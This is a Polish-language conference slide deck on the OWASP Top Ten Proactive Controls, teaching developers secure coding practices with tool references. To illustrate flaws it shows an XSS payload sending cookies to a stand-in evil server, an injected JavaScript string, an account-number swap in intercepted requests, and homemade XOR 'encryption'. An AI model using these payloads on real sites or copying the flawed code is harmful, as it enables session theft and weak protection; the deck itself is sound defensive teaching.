10 przykazań bezpiecznego programowaniaOWASP Top Ten Proactive Controls

Wojciech Dworakowski, SecuRing

OWASP Poland Chapter Leader

Wojtek Dworakowski@wojdwo

CEO (od 2003)

Testowanie i doradztwo w zakresie bezpieczeństwa aplikacji i systemów IT

OWASP Poland

Chapter Leader (od 2011)

OWASPO = Open

• Materiały i narzędzia

– za darmo

– licencje Creative Commons

– open source

• Tworzone na zasadach otwartej współpracy

– każdy może przyłączyć się

3

OWASP Poland Chapter

• Od 2007

• Spotkania: Kraków, Poznań, Warszawa

• Wstęp wolny

• Wspierają nas:

Ankieta na 4Developers 2014** Badanie SecuRing „Praktyki wytwarzania bezpiecznego oprogramowania w polskich firmach – 2014”

• 62% firm nie edukuje programistów w zakresie bezpieczeństwa aplikacji

• >50% firm nie uwzględnia bezpieczeństwa na etapie projektowania

• 73% pytanych potwierdziło, że wprowadzało poprawki wynikające z testów bezpieczeństwa

• Tylko 42% potwierdziło że przed wdrożeniem wykonują testy bezpieczeństwa

OWASP Top10 Risk vs

OWASP Top10 Proactive Controls

Disclaimer

• Nie można opierać bezpieczeństwa aplikacji tylko na podstawie Top 10

– To materiał edukacyjny

– Każda aplikacja ma swój specyficzny profil ryzyka

1: Parameterize Queries

SQL/LDAP/XML/cmd/…-injection

Łatwe do wykorzystania• proste w użyciu narzędzia automatyzujące atakZnaczne skutki ataku

Źródło: http://xkcd.com/327/

Dobre praktyki

#1 Zapytania parametryzowane– Prepared Statements / Parametrized Queries

#2 Stored Procedures– Uwaga na wyjątki! (eval, blok dynamiczny, etc.)

#3 Escaping– ryzykowne!

String newName = request.getParameter("newName");String id = request.getParameter("id");PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?");pstmt.setString(1, newName);pstmt.setString(2, id);

Narzędzia i materiały

• Bobby Tables: A guide to preventing SQL injection

• Query Parameterization Cheat Sheet

• SQL Injection Prevention Cheat Sheet

• OWASP Secure Coding Practices Quick Reference Guide

2: Encode Data

XSS

• Zmiana treści strony

• Przechwycenie sesji

<script>document.body.innerHTML(“Jim was here”);</script>

<script>var img = new Image();img.src="http://<some evil server>.com?” + document.cookie;</script>

Skutki braku kodowania znaków specjalnych

• Session hijacking

• Network scanning

• Obejście zabezpieczeń przed CSRF

• Zmiana zawartości strony (w przeglądarce)

• …

• Przejęcie kontroli nad przeglądarką

– vide BeEF

Historia pewnej aplikacji

Cross Site Scripting

Ale często wklejenie bezpośrednio w kontekst

javascript:

<script> var split='<bean:write name="transferFormId" property="trn_recipient">'; splitRecipient(split); </script>

trn_recipient=';alert('xss');--

<script> var split='';alert('xss');--

Dobre praktyki

• Kodowanie znaków specjalnych odpowiednie do kontekstu użycia– element HTML

– Atrybut HTML

– JavaScript

– JSON

– CSS / style

– URL

Narzędzia i materiały

• XSS (Cross Site Scripting) Prevention Cheat Sheet

• Java Encoder Project

• Microsoft .NET AntiXSS Library

• OWASP ESAPI

• Encoder Comparison Reference Project

3: Validate All Inputs

Po co walidacja?

• Większość innych podatności (np. injection, xss, …) wynika (również) z braku walidacji

• Walidacja jest jak firewall

– Nie zabezpiecza przed wszystkim

– …ale dobrze ją mieć

Dobre praktyki

• Walidacja wg whitelisty a nie blacklisty,

• Typowanie pól– najlepiej „systemowo” a nie per formularz.

– Porządkuje to bezpieczeństwo w wielu warstwach – np. potem łatwo można użyć do reguł WAF

• Walidacja pierwszą linią obrony– np. silne rzutowanie typów zapobiegnie injection,

– ale nie może być jedyną !

Narzędzia i materiały

• Input Validation Cheat Sheet

• Apache Commons Validator

• OWASP JSON Sanitizer Project

• OWASP Java HTML Sanitizer Project

• Google Caja

4: Implement AppropriateAccess Controls

Historia rachunku

Żądanie HTTP po przechwyceniu

GET /services/history/account/85101022350445200448009906 HTTP/1.1

SA-DeviceId: 940109f08ba56a89

SA-SessionId: 826175

Accept: application/json

Host: acc

Connection: Keep-Alive

User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

GET /services/history/account/45101022350445200448005388 HTTP/1.1

SA-DeviceId: 940109f08ba56a89

SA-SessionId: 826175

Accept: application/json

Host: acc

Connection: Keep-Alive

User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

Podmiana nr rachunku – uzyskujemy cudze dane

Dobre praktyki

• Decyzja po stronie serwera !

• Default deny

• Wszystkie żądania muszą przejść przez kontrolę uprawnień– scentralizowany, spójny mechanizm

• Zasady kontroli dostępu (policy) osobne od kodu– a nie jako część kodu

if (currentUser.hasRole(“administrator”)) {//pozwol

} else {//zabron

}

If (currentUser.isPermitted(printPermission)) {//pozwol

} else {//zabron

}

Narzędzia i materiały

• Access Control Cheat Sheet

• Java Authorization Guide with Apache Shiro

– Apache Shiro Authorization features

• OWASP PHPRBAC Project

5: Establish Identity and Authentication Controls

Przykład defektu

• Uwierzytelnienie kluczem lokalnie trzymanym na komputerze

• Proces logowania:

1. podajemy login

2. wybieramy plik z kluczem, wprowadzamy hasło do klucza

3. jesteśmy zalogowani

https://...../GenerateNewKey

Dobre praktyki

• Sprawdź prawa dostępu do funkcji pozwalających na zmianę danych uwierzytelniających

• Zasada „łańcucha zaufania”

• Uwaga na sesyjność „na granicy” !

• Nie limituj długości i znaków które można użyć w haśle

Narzędzia i materiały

• Authentication Cheat Sheet

• Password Storage Cheat Sheet

• Forgot Password Cheat Sheet

• Session Management Cheat Sheet

6: Protect Data and Privacyat transitat rest

Przykład defektu (at transit)

• SSL zapewnia szyfrowanie i autentyczność

• Co weryfikuje autentyczność serwera?

– Aplikacje przeglądarkowe: Przeglądarka

– Aplikacje mobilne / thick-client / embedded…: Aplikacja

• Najczęstsze błędy

– Brak sprawdzenia certyfikatu lub „łańcucha zaufania”

– Brak obsługi wyjątku

Dobre praktyki (in transit)

• TLS

• Dla całości aplikacji

• Cookies: flaga „Secure”

• HTTP Strict Transport Security

• Zestawy silnych szyfrów

• Chain of trust

• Certificate pinning

Narzędzia i materiały (in transit)

• Transport Layer Protection Cheat Sheet

• Pinning Cheat Sheet

• OWASP O-Saft (SSL Audit for Testers)

Przykład defektu (at rest)

• Przechowywanie haseł

• „Własna” implementacja SHA1

public static String encrypt(byte [] in){

String out = "";for(int i = 0; i < in.length; i++){

byte b = (byte)(in[i] ^ key[i%key.length]);out += "" + hexDigit[(b & 0xf0)>>4] + hexDigit[b & 0x0f];

} return out;}

Dobre praktyki (at rest)

• Nie próbuj wynaleźć koła !– Własne szfry są ZŁE

– Własna implementacja crypto jest ZŁA

– Sprawdzone biblioteki

• Silne szyfry w silnych trybach– ECB jest ZŁE

– CBC – uwaga na „padding oracle”

• Dobre źródło losowości dla IV

Narzędzia i materiały

• Google KeyCzar

• Cryptographic Storage Cheat Sheet

• Password Storage Cheat Sheet

7: Implement Logging, Error Handling and Intrusion Detection

Narzędzia i materiały

• Logging Cheat Sheet

• OWASP AppSensor Project

8: Leverage Security Features of Frameworks and Security Libraries

Narzędzia i materiały

• PHP Security Cheat Sheet

• .NET Security Cheat Sheet

• Spring Security

• Apache Shiro

• OWASP Dependency Check / Track

9: Include Security-SpecificRequirements

Definiowanie wymagań

• Scenariusze ataku

– Jak zagrożenia mogą osiągnąć cele?

– Wymaga doświadczenia i wiedzy eksperckiej

• Dobranie zabezpieczeń == WYMAGANIA

Zagrożenia SkutkiScenariusze

ataku

Kto? Jak? Co?

Narzędzia i materiały

• OWASP Application Security Verification Standard Project

• Software Assurance Maturity Model

• Business Logic Security Cheat Sheet

• Testing for business logic (OWASP-BL-001)

10: Design and Architect Security In

Narzędzia i materiały

• Software Assurance Maturity Model (OpenSAMM)

• Application Security Verification Standard Project

• Application Security Architecture Cheat Sheet

• Attack Surface Analysis Cheat Sheet

• Threat Modeling Cheat Sheet

Podsumowanie

To tylko Top Ten !

• Każda aplikacja jest inna

– Trzeba zdefiniować profil ryzyka (KTO?, PO CO?)

– i uwzględnić „zgodność z przepisami”

• Kilka prostych kroków daje duże efekty

• Warto edukować programistów w zakresie bezpieczeństwa

Spotkania OWASP

https://www.owasp.org/index.php/PolandLista mailingowa

Facebook: OWASP Poland Local Chapter

Twitter: @owasppoland

Dziękuję

Wojciech Dworakowski

@wojdwo

wojciech.dworakowski@securing.pl

http://www.securing.pl